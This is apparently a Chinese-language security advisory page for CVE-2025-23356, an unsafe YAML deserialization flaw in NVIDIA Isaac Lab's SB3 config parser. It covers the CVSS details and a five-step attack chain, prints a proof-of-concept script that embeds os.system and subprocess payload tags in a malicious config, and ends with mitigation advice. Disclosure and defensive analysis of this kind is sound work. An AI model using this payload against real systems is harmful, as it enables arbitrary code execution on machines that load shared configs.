IPBUF安全漏洞报告
English
CVE-2025-23356 CVSS 8.4 高危

CVE-2025-23356:NVIDIA Isaac Lab SB3配置解析远程代码执行漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-23356
漏洞类型
不安全反序列化/代码注入
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NVIDIA Isaac Lab

相关标签

CVE-2025-23356NVIDIAIsaac LabSB3反序列化漏洞代码执行YAML注入高危漏洞机器人框架强化学习

漏洞概述

CVE-2025-23356是NVIDIA Isaac Lab中存在的一个高危安全漏洞,位于SB3(Stable Baselines 3)配置解析模块中。该漏洞于2025年10月14日由NVIDIA PSIRT团队公开披露,CVSS 3.1评分为8.4分,属于高危级别。

NVIDIA Isaac Lab是NVIDIA面向机器人仿真和强化学习研究推出的开源框架,基于Isaac Sim构建,广泛应用于机器人控制策略的训练与评估。SB3是其中用于强化学习算法实现的重要组件,其配置文件通常采用YAML或JSON格式进行参数定义。

该漏洞的根本原因在于SB3配置解析过程中缺乏对输入数据的充分验证与净化。当应用程序处理外部传入的配置文件时,攻击者可以构造恶意的配置文件内容,触发解析器执行非预期的操作。由于CVSS向量显示该漏洞具有本地攻击向量(AV:L)、低攻击复杂度(AC:L)、无需权限(PR:N)和无需用户交互(UI:N)的特性,使得利用门槛极低。

成功利用此漏洞可能导致严重的安全后果,包括但不限于:远程代码执行(RCE)、拒绝服务攻击(DoS)、权限提升、信息泄露以及数据篡改。鉴于该漏洞对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H),相关用户和组织应高度重视并尽快采取修复措施。

技术细节

该漏洞位于NVIDIA Isaac Lab的SB3(Stable Baselines 3)配置解析模块中。SB3配置文件通常使用YAML格式,其中可以包含算法超参数、环境配置、模型路径等信息。

漏洞的技术原理在于配置解析器在处理YAML文件时,未对反序列化操作进行安全限制。YAML格式本身支持复杂的对象类型标签(如!!python/object/apply等),如果解析器使用了不安全的加载器(如yaml.unsafe_load()或FullLoader),攻击者可以在配置文件中嵌入恶意Python对象构造语句。当解析器加载此类恶意配置时,会触发Python特殊方法(如__reduce__)的执行,从而实现任意代码执行。

利用方式如下:
1. 攻击者首先需要具备本地访问目标系统的能力(AV:L);
2. 攻击者构造包含恶意Python序列化对象的SB3配置文件;
3. 将恶意配置文件投递至目标系统,例如通过诱导用户加载恶意训练配置、替换共享的模型配置文件等;
4. 当Isaac Lab加载该配置进行强化学习训练或推理时,解析器在反序列化过程中执行嵌入的恶意代码;
5. 恶意代码在Isaac Lab进程上下文中执行,可实现完整的RCE、权限提升、数据窃取或服务中断。

由于该漏洞无需认证(PR:N)且无需用户交互(UI:N),一旦攻击者获得本地访问权限,即可直接利用,无需任何额外条件。

攻击链分析

STEP 1
步骤1:获取本地访问
攻击者首先需要获得目标系统的本地访问权限。由于漏洞攻击向量为本地(AV:L),攻击者可以通过物理访问、远程桌面、SSH等方式获取系统访问权限。
STEP 2
步骤2:构造恶意配置文件
攻击者构造包含恶意YAML标签的SB3配置文件,利用Python对象反序列化机制(如!!python/object/apply)在配置文件中嵌入任意代码执行指令。
STEP 3
步骤3:投递恶意配置
攻击者将恶意配置文件放置到Isaac Lab能够加载的位置,例如替换训练任务配置、污染共享模型目录或通过社会工程诱导用户加载恶意配置。
STEP 4
步骤4:触发配置解析
当Isaac Lab启动并加载SB3配置进行强化学习训练或推理时,配置解析器使用不安全的YAML加载器解析恶意文件,触发Python对象的反序列化操作。
STEP 5
步骤5:执行恶意代码
恶意代码在Isaac Lab进程上下文中自动执行,攻击者可获得代码执行权限,进而实现权限提升、数据窃取、植入持久化后门或发起拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-23356 PoC - NVIDIA Isaac Lab SB3 Config Parsing RCE # Vulnerability: Unsafe YAML deserialization in SB3 configuration parser import yaml import os import sys # Malicious SB3 configuration file exploiting unsafe YAML deserialization # The SB3 config parser uses yaml.load() without SafeLoader, allowing # arbitrary Python object instantiation during config parsing. malicious_config = """ # Malicious SB3 configuration with embedded Python code execution algorithm: PPO # Inject malicious payload via YAML Python object tag policy_kwargs: !!python/object/apply:os.system - "id > /tmp/pwned.txt; touch /tmp/rce_evidence" # Alternative: use subprocess for command execution learning_rate: !!python/object/apply:subprocess.check_output - ["id"] # Trigger code execution during config loading env: class_name: !!python/object/new:subprocess.Popen args: - ["whoami"] """ def exploit(target_config_path): """ Exploit CVE-2025-23356 by writing a malicious SB3 config file and triggering its parsing by NVIDIA Isaac Lab. """ # Step 1: Write malicious configuration with open(target_config_path, 'w') as f: f.write(malicious_config) print(f"[+] Malicious config written to {target_config_path}") # Step 2: Trigger Isaac Lab to load the config # When Isaac Lab loads this config, yaml.load() will execute # the embedded Python code automatically print("[*] Waiting for Isaac Lab to parse the malicious config...") print("[*] Code execution will occur during config deserialization") if __name__ == "__main__": config_path = sys.argv[1] if len(sys.argv) > 1 else "malicious_sb3_config.yaml" exploit(config_path)

影响范围

NVIDIA Isaac Lab 所有使用不安全SB3配置解析器的版本(具体版本范围请参考NVIDIA官方安全公告)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)禁止Isaac Lab加载任何非可信来源的SB3配置文件;2)手动审查所有YAML配置文件,确保其中不包含Python对象标签(如!!python/object等);3)使用yaml.safe_load()编写自定义包装脚本来预验证配置文件安全性;4)将Isaac Lab进程以低权限用户运行,限制潜在的代码执行影响范围;5)监控Isaac Lab进程的异常系统调用和网络连接行为,及时发现利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表